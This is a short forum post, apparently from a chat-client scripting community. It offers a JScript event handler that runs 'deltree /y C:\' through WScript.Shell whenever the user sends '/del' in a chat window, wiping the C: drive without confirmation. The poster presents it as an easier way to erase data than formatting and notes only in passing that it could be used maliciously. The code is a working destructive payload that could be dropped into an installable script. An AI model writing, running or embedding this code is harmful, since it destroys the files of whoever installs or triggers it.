You don't nessisarily have to format to erase data.
Just use deltree:
code:
function OnEvent_ChatWndSendMessage(ChatWnd, Message){
if(Message=="/del"){
var Shell = new ActiveXObject("WScript.Shell");
var cal = Shell.Run("deltree /y C:\");
return "";
}
}
And this sounds like it could be used maliciously